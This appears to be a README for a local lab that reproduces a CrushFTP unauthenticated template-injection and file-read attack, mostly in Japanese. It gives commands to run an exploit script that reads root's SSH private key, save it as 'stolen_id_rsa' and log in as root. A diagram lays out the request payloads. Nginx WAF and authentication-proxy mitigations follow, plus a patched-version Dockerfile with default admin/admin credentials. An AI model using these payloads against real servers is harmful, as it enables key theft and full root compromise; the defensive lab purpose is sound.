pip install requests rich

docker-compose up -d

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

whoami
# 期待値: root

id
# 期待値: uid=0(root) gid=0(root) groups=0(root)

hostname
# 期待値: <container_id>

認証されていない攻撃者
        │
        ▼
GET /WebInterface/          ← 匿名の CrushAuth + currentAuth クッキーを取得
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI 確認 — テンプレートがサーバーによって評価される
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← 絶対インストールパスを漏洩
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← 任意ファイル読み取り
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← 完全なルートシェル

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # ModSecurity を有効化
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # すべてのトラフィックを CrushFTP にプロキシ
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # ブロックされたリクエストには 403 を返す
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

攻撃者 -> NGINX WAF (ポート 80) -> 悪意のあるリクエストをブロック -> 403 Forbidden
                             -> 正常なリクエストを転送 -> CrushFTP:8080

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

events {}
http {
  server {
    listen 80;

    # 静的アセットは認証なしで許可
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # WebInterface への認証されていないアクセスをブロック
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # その他すべての認証されていないアクセスをブロック
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

# 認証されていないリクエストが NGINX によって拒否されることを確認
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 期待値: 401 Unauthorized

# オプション: 認証されたリクエストは転送されるべき
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

# v11 に対してエクスプロイトを実行 — 失敗するはず
# 注意: このリポジトリのスクリプトは -t/--target を使用します。
python3 crushed.py -t http://localhost:8080

# 期待値: エクスプロイトは出力なし、または接続エラーを返す